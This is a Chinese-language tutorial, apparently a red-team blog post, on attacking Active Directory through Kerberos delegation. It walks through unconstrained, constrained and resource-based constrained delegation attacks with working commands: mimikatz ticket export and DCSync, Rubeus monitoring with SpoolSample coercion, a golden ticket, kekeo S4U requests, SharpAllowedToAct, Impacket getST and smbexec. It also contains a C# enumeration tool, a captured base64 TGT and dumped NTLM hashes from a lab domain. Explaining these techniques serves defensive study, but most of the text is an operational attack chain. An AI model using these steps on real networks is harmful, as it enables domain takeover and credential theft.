前言 域委派是指将域内用户的权限委派给服务账号,使得服务账号能以用户的权限在域内展开活动。
简言之:当A访问服务B时,服务B拿着A用户的凭证去访问服务C,这个过程称为委派。
委派攻击分为三种攻击手段
非约束委派攻击 在域内只有主机账号和服务账号才有委派属性
主机账号:活动目录中的computers组内的计算机,也被 称为机器账号。
服务账号:域内用户的一种类型,是服务器运行服务时所用的账号,将服务运行起来加 入域内,比如:SQLServer,MYSQL等;域用户通过注册SPN也能成为服务账号。
非约束委派流程 user访问serverA,于是向DC发起认证,DC会检查serverA的机器账号的属性,如果是非约束委派的 话,会把用户的TGT放在ST票据中并一起发送给serverA ,这样serverA在验证ST票据的同时也获取到了 用户的TGT,并把TGT储存在自己的lsass进程中以备下次重用,从而serverA就可以使用这个TGT,来 模拟这个user访问任何服务。
从攻击角度来说:如果攻击者拿到了一台配置了非约束委派的机器权限,可以诱导管理员来访问该机器,然后可以得到管理员的TGT,从而模拟管理员访问任意服务,相当于拿下了整个域环境。
委派查询 adfind查询非约束委派
1 2 3 4 非约束委派的主机AdFind.exe -b "DC=redteam,DC=club" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName 非约束委派的用户:AdFind.exe -b "DC=redteam,DC=club" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
非约束委派攻击案例 域管理使用winrm服务器远程连接域内主机
1 Enter -PSSession -ComputerName 12 server2
此时域管的凭证已缓存于目标机器,使用域内机器登录本地管理员,导出相关凭证:
1 2 privilege::debug sekurlsa::tickets /export
导入先前凭证
1 2 kerberos::ptt 凭证名称 kerberos::list
导入票据 访问域控 ad1.redteam.club
1 dir \\ad1.redteam.club\c$
非约束委派&Spooler 利用非约束委派联合Spooler打印机的漏洞来进行演示;利用Rubeus来对域控ad1进行监听:作用就是当我们使用打印机服务强制让域控向12server1主机验证身份,Rubeus就可以监听到来自域控ad1的数据,从而截获域控的TGT;这里同样需要administrator权限去开启监听,使用域用户权限不足
域用户下直接切换administrator权限
1 runas /profile /user:12server1\administrator cmd.exe
管理员身份使用Rubeus来对域控ad1进行监听:
1 2 Rubeus.exe monitor /interval:1 /filteruser:ad1$ SpoolSample.exe ad1 12server1
将内容保存
1 Rubeus.exe monitor /interval:1 /filteruser:ad1$ > tgs.txt
1 doIFCjCCBQagAwIBBaEDAgEWooIEEzCCBA9hggQLMIIEB6ADAgEFoQ4bDFJFRFRFQU0uQ0xVQqIhMB+gAwIBAqEYMBYbBmtyYnRndBsMUkVEVEVBTS5DTFVCo4IDyzCCA8egAwIBEqEDAgECooIDuQSCA7UMbHw0p3fxtM+wJ9Ruj/2BDXyviZRGDsqVlENO4w3Owcg2oJdbcIO32RPX8fjuvklW/i UFoWrh4lwGp11rlpcWj4EXcfI5pLvUrEeaqR2E50SGGHLSQbyYQo5Inr/7PFHhv1tzNLGMpAKujKNJvC4rvwb3VRcFv21ciYO0KBdTwh31UFhVE7ODkZJgM1PWT5v9ZPSxhwZCIM42o/ txVrSIrgHHrNafpw4J3TFR26QNh0UjT9szGJDrRqqncX6k+PvJIo0pqbc83N5/LrDsP9mD418OAqpGaGSZ04E1A+F0ict2TfAoMiwsexXmmohC2Pq5FEC7iPehXMO+6eN0532spA1BWo2soKinLPTEMa/ BmHuVdMAVcGx+VqEnlsVCaCzuWiCbFzNgNtg105z66I+bHaUWoZOy1Xf1P++FnqYJHZ4ZCN6uH8ROeaadKfSN7OyEUsMVdpGBIKjPYv6SXGedbuNKADgIDrFJDHJhcQahxoYlVpCOJQfHedMZEoeU0LWUMzf2skjzWQtA0XhmLURfOX7OMquy+BTN/dhCbqj+cQmjkIjAosQEn+g+/ PmJFNvG9jqmogfETDW3gGRrcZ2uhtsBRLUBIn3b2Ak+R5JeG6yMFZ8X6B1AfqVNIsmvI0KJIQcLPtKQnsgLiFFli+N9ysz3qPGW8uGEapao8eUD8n9PJpwt+Zaf7IbSFZcRTLBcg8+d9gqGaFVD2eYcuJ8+uFUxDvPjCb3VWK+n48fTio++tOVM2czBEpK7OrzrUB4txqS/wC4MOfkrbPIFoA0krkaa+chi2hFnVs9yuOnz5MFOLqQ7oAMJfmpZe/ ELl4u+hMGInXoY/xZIy9i4J2BUEiNNAxEWNCGUqj/ qed+4 bVQyeTMaZrjR5SvhFKiHqrLYeSMwEuuVfEQwkLbxCvwYONmZOgYM9cbZqCsOM1O4JEJNGFvGmUekGt314WWbGYEXw8gMRn8Q++a4+zU/wxcMO2hUx4NUwbaLP/ W8Xlj2HBYYhUyYQOqcf/Kfuc9I8HrSL397xG8NDIINvyASrGOveqkY0RNzV8ieo2QU4wD3jg9EIaVOzHUpvqJGmQ+55VbLpWy4hMy420wEaXBTfjP9Z4Qz0F9To4/ +RgVAjSimnzHN9i5R4A/N4Zu/ ZM+b7JJd/mOQDfUZfOkedgKB8rx3Ik00lFcL289rflDJHtiywjN6Y8oQFk7X8NGRyId/ wxSa749YTVrCmSXiY0KejvzmwiRJtVMEowVJkzRhHrBbh9CVdkI/o4HiMIHfoAMCAQCigdcEgdR9gdEwgc6ggcswgcgwgcWgKzApoAMCARKhIgQgXDT+IUllhE1y3buaOsS3ID2H4heSNmLAmLgI83hS3iqhDhsMUkVEVEVBTS5DTFVCohEwD6ADAgEBoQgwBhsEQUQxJKMHAwUAYKEAAKURGA8yMDI1MTAyMTEzNDQ0OFqmERgPMjAyNTEwMjEyMzQ0NDlapxEYDzIwMjUxMDI4MTM0NDQ4WqgOGwxSRURURUFNLkNMVUKpITAfoAMCAQKhGDAWGwZrcmJ0Z3QbDFJFRFRFQU0uQ0xVQg==
然后直接用 powershell 转到为正常的 TGT 即可
1 2 [IO.File]::WriteAllBytes ("ticket.kirbi" , [Convert]::FromBase64String ("得到的 base64" ))
注入票据
1 2 Rubeus.exe ptt /ticket:base64 kerberos::ptt ticket.kirbi
这里我们生成的 TGT,相当于域控真正赋予了我们administrator本地管理员权限,所以这里我们就可以使用命令将krbtgt这个账号hash导出即可生成黄金票据,从而接管域控:
1 mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:redteam.club /all /csv" "exit" >log .txt
1 2 3 4 5 6 7 8 9 10 11 12 [DC] 'redteam.club' will be the domain [DC] 'ad1.redteam.club' will be the DC server [DC] Exporting domain 'redteam.club'502 krbtgt b6e0fcce3106665064de4917394ccc27 514 1001 AD1$ 634 c65a19d9ce4d786b164a115ee6f18 532480 500 Administrator 42 e2656ec24331269f82160ff5962387 512 1104 test 51 a52c415264a8fc31520f66f2f50459 66048 1105 hack 51 a52c415264a8fc31520f66f2f50459 66048 1106 AD2$ 7199 f54cd29371583a883bb3e7f66514 532480 1107 12 SERVER2$ 3873 a5ba814dd60c506b4f4b139623e9 528384 4102 web 51 a52c415264a8fc31520f66f2f50459 590336 1602 12 SERVER1$ 449 ea4a6eb335ca162f6bf07ca95d8e1 528384
制作黄金票据并导入
1 2 3 kerberos ::golden /domain:redteam.club /sid:S-1 -5 -21 -2365300756 -2663045586 -4193326672 /krbtgt:b6e0fcce3106665064de4917394ccc27 /user:administrator /ticket:ntlm.kirbikerberos ::ptt ntlm.kirbi
访问
1 dir \\ad1.redteam.club\c$
约束委派攻击 委派流程 S4U2self
允许一个服务代表某个用户请求一个 访问自身的服务票据(ST1)
S4U2proxy
允许服务使用前一步得到的可转发票据(ST1),再向 KDC 请求 访问另一个服务的票据(ST2)
项目
S4U2Self
S4U2Proxy
作用
模拟用户(代表用户向自己请求票据)
委派用户(代表用户访问其他服务)
票据类型
Service Ticket (to self)
Service Ticket (to another service)
是否需用户参与
不需要用户参与
不需要用户参与
依赖条件
服务账户必须被允许模仿用户
服务账户必须被信任进行委派
输出结果
可转发的 ST1
目标服务的 ST2
S4U2Proxy 请求的核心逻辑
当服务A想以用户身份访问服务B时,它要给 KDC 看两样东西:
🪪 自己的 TGT (说明“我是服务A”)
🎟️ 可转发的ST1 (说明“我能代表用户”)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 ┌─────────────────────────────┐ │ KDC(密钥分发中心)│ └──────────┬──────────────────┘ │ (1 ) S4U2Self 请求: 服务A → “我要代表用户 U 访问我自己” │ ▼ ┌──────────────────────┐ │ 返回 ST1(to 服务A ) │ │ 标志:Forwardable │ │ 意义:允许转发 │ └──────────┬───────────┘ │ (ST1 保存在服务A 中) │ │ (2 ) S4U2Proxy 请求: 服务A → “我要代表用户U访问服务B , 这是我能代表U的凭证(ST1)” │ ▼ ┌──────────────────────┐ │ 返回 ST2(to 服务B ) │ │ 用户U → 服务B 的票据 │ └──────────┬───────────┘ │ ▼ 服务A 拿 ST2 ┌────────────────┐ │ 代表用户U访问服务B │ └────────────────┘ 步骤 操作 说明 ① S4U2Self 服务A 向 KDC 请求 ST1,用来证明它可以代表用户U。目标是自己。 ② ST1(可转发) 标记为 forwardable,允许服务A 再拿它去请求别的票据。 ③ S4U2Proxy 服务A 拿着 ST1 + 自己的TGT,向 KDC 请求访问服务B 的票据。 ④ ST2(最终使用) KDC 返回 ST2,代表用户U访问服务B 。服务A 使用它去访问服务B 。
S4U2Self 拿到的 ST1,不是用来直接访问服务的,而是用来让 S4U2Proxy 去换取真正能访问其他服务的 ST2。
完整的约束委派流程
1 服务A (有委派权限) → 用服务A 的TGT证明身份 → 域控制器 → 代表用户访问服务B
约束委派攻击的要求是:控制一个有委派权限的服务账户,然后使用该账户的凭证(密码或哈希)获取合法的TGT,然后带着这个TGT向KDC申请代表其他用户访问特定服务的ST。
也就是说,进行约束委派攻击的前提是控制服务账户及当前主机的管理员权限,使用kekeo申请当前服务账户的tgt凭据,然后生成代表域管的s4u2的票据,也就是st2。将其导入内存,即可以域管的身份访问约束好的服务。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 攻击者 (已控主机) │ ↓ (前提:获得服务账户Hash/密码)[1. 获取服务账户TGT] ←------------------- KDC │ (tgt::ask /user:websec /hash:xxx) │ ↓ │[2. 生成S4U2proxy票据] -----------------------→│ │ (tgs::s4u /tgt:websec.TGT │ │ /user:Administrator │ │ /service:cifs/DC2016) │ ↓ │[3. 接收ST2] ←---------------------------------│ │ (TGS_Administrator@...cifs~DC2016.kirbi) ↓[4. 注入票据] │ (kerberos::ptt ...) ↓[5. 以域管身份访问服务] │ (dir \\DC2016\c$) ↓[成功!]
案例 利用条件
1 2 3 4 5 存在配置了传统约束委派的账户 获得该服务账户的控制权 被委派的服务是可用的
查询约束委派服务账户
1 AdFind.exe -b "DC=redteam,DC=club" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
通过kekeo请求服务用户的TGT
1 tgt::ask /user:web /domain:redteam.club /password:pass@123 /ticket:test.kirbi
利用这个票据通过伪造S4U请求以administrator身份访问websec的ST
1 2 3 tgs::s4u /tgt:TGT_web@REDTEAM.CLUB_krbtgt~redteam.club@REDTEAM.CLUB.kirbi /user:Administrator@redteam.club /service:cifs/ad1.redteam.club tgs::s4u /tgt:服务账户@tgt /user:被委派的用户@域 /service:服务/ad1.redteam.club
导入
1 kekeo # kerberos::ptt TGS_Administrator @redteam .club@REDTEAM .CLUB_cifs ~ ad1.redteam.club@REDTEAM .CLUB .kirbi
访问
使用范围 约束委派一般用于拿到域控后创建服务用户,进行权限维持
基于资源的约束委派攻击 攻击核心条件
具有对主机修改msDS-AllowedToActOnBehalfOfOtherIdentity属性的权限
可以创建机器账户(或已知机器账户)
具备修改msDS-AllowedToActOnBehalfOfOtherIdentity属性的权限
将该主机加入域的用户账户,具有**mSDS-CreatorSID**属性
Account Operators 组成员
该主机自身的机器账户
权限主体
攻击前提
加入域的用户
1. 找到该用户创建过的计算机。 2. 控制该用户账户。
Account Operators 组成员
控制该组内的任何一个用户账户。
计算机账户自身
1. (2019前) 获得该计算机的SYSTEM权限。 2. (2019后) 获得该计算机的SYSTEM权限,且权限未被硬化。
资源委派攻击其他域主机获取system权限 首先查询域普通用户加入域的机子
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 using System;using System.Security.Principal;using System.DirectoryServices;using System.Collections.Generic;namespace ConsoleApp9 { class Program { static void Main (string [] args ) { try { FindComputerCreators(); } catch (Exception ex) { Console.WriteLine("[!] 错误: " + ex.Message); } Console.WriteLine("按任意键退出..." ); Console.ReadKey(); } static void FindComputerCreators () { using (DirectoryEntry ldapConn = new DirectoryEntry("LDAP://dc=redteam,dc=club" )) using (DirectorySearcher computerSearcher = new DirectorySearcher(ldapConn)) { computerSearcher.Filter = "(&(objectClass=computer))" ; computerSearcher.PropertiesToLoad.AddRange(new string [] { "dNSHostName" , "mS-DS-CreatorSID" , "name" }); Console.WriteLine("[*] 开始搜索域内计算机及其创建者...\n" ); Dictionary<string , string > userSidMap = PreloadUserSidMap(ldapConn); foreach (SearchResult computer in computerSearcher.FindAll()) { ProcessComputerResult(computer, userSidMap); } Console.WriteLine("\n[*] 搜索完成" ); } } static Dictionary<string , string > PreloadUserSidMap (DirectoryEntry ldapConn ) { var sidMap = new Dictionary<string , string >(); using (DirectorySearcher userSearcher = new DirectorySearcher(ldapConn)) { userSearcher.Filter = "(&(objectClass=user))" ; userSearcher.PropertiesToLoad.AddRange(new string [] { "objectSid" , "sAMAccountName" , "name" }); foreach (SearchResult user in userSearcher.FindAll()) { try { if (user.Properties["objectSid" ].Count > 0 ) { string userSid = new SecurityIdentifier( (byte [])user.Properties["objectSid" ][0 ], 0 ).ToString(); string userName = user.Properties["name" ].Count > 0 ? user.Properties["name" ][0 ].ToString() : "Unknown" ; sidMap[userSid] = userName; } } catch { } } } return sidMap; } static void ProcessComputerResult (SearchResult computer, Dictionary<string , string > userSidMap ) { string computerName = "" ; string creatorSid = "" ; try { if (computer.Properties["dNSHostName" ].Count > 0 ) { computerName = computer.Properties["dNSHostName" ][0 ].ToString(); } else if (computer.Properties["name" ].Count > 0 ) { computerName = computer.Properties["name" ][0 ].ToString(); } else { computerName = "Unknown" ; } if (computer.Properties["mS-DS-CreatorSID" ].Count > 0 ) { creatorSid = new SecurityIdentifier( (byte [])computer.Properties["mS-DS-CreatorSID" ][0 ], 0 ).ToString(); } else { Console.WriteLine("[!] " + computerName + " - 未找到创建者SID" ); return ; } if (userSidMap.ContainsKey(creatorSid)) { string creatorName = userSidMap[creatorSid]; Console.WriteLine("[+] " + computerName + " -> 创建者: " + creatorName); } else { Console.WriteLine("[!] " + computerName + " -> 未知创建者 SID: " + creatorSid); } } catch (Exception ex) { Console.WriteLine("[!] 处理计算机 " + computerName + " 时出错: " + ex.Message); } } } }
使用SharpAllowedToAct修改委派
1 2 3 SharpAllowedToAct.exe -m hack1 -p pass@123 -t 12s erver2 -a 10.10 .10.142 REDTEAM.CLUB SharpAllowedToAct.exe -m 机器账户名 -p 密码 -t 目标计算机 -a 域控
获取服务票据
1 python3 getST.py -dc-ip 10.10.10.142 redteam/hack1\$:pass@123 -spn cifs/12 server2.redteam.club -impersonate administrator
获取域普通主机权限
1 2 export KRB5CCNAME =administrator.ccache python3 smbexec.py -no-pass -k 12server2.redteam.club
“先让12server同意机器用户的访问,然后使用机器用户向KDC申请模拟administrator访问12server的CIFS服务票据。再将这个票据导入到当前会话,当前电脑就可以以administrator的身份访问12server并获得SYSTEM权限。”
两种约束委派区别 约束委派 设置当前服务账户 可以访问哪些资源
在 服务A 的账户上设置一个属性(msDS-AllowedToDelegateTo),信任服务A ,允许它代表用户去访问服务B 和服务C
基于资源的约束委派 设置这个服务 哪些账户 才可以被信任来执行委派
在 服务B(资源) 的账户上设置一个属性(msDS-AllowedToActOnBehalfOfOtherIdentity),只允许服务A 和服务X 代表用户来连接
区别
特性
约束委派
基于资源的约束委派
控制理念
我能访问谁? (由请求方定义)
谁能访问我? (由资源方定义)
配置对象
起始服务(如 Web服务)的账户
目标服务(如 数据库)的账户
配置属性
msDS-AllowedToDelegateTo
msDS-AllowedToActOnBehalfOfOtherIdentity
管理模型
集中式、可能权限过大
分布式、最小权限原则
ST1转发问题 传统约束委派 KDC 会检查用户的 userAccountControl 属性中的 TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION 标志。
如果用户账户被设置了该标志 ,那么 S4U2self 返回的 ST 就是 可转发 的。
如果用户账户没有被设置该标志 ,那么 S4U2self 返回的 ST 就是 不可转发 的。
在传统约束委派中,为了完成整个委派链条,通过 S4U2self 获得的 ST 必须 是可转发的
基于资源的约束委派 与服务账户是否受信任无关。无论用户账户是否设置了 TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION 标志,通过 S4U2self 获得的 ST 通常都是 不可转发 的。
在 RBCD 中,委派的成功与否,完全依赖于资源上的配置 ,而与初始票据的“可转发”属性脱钩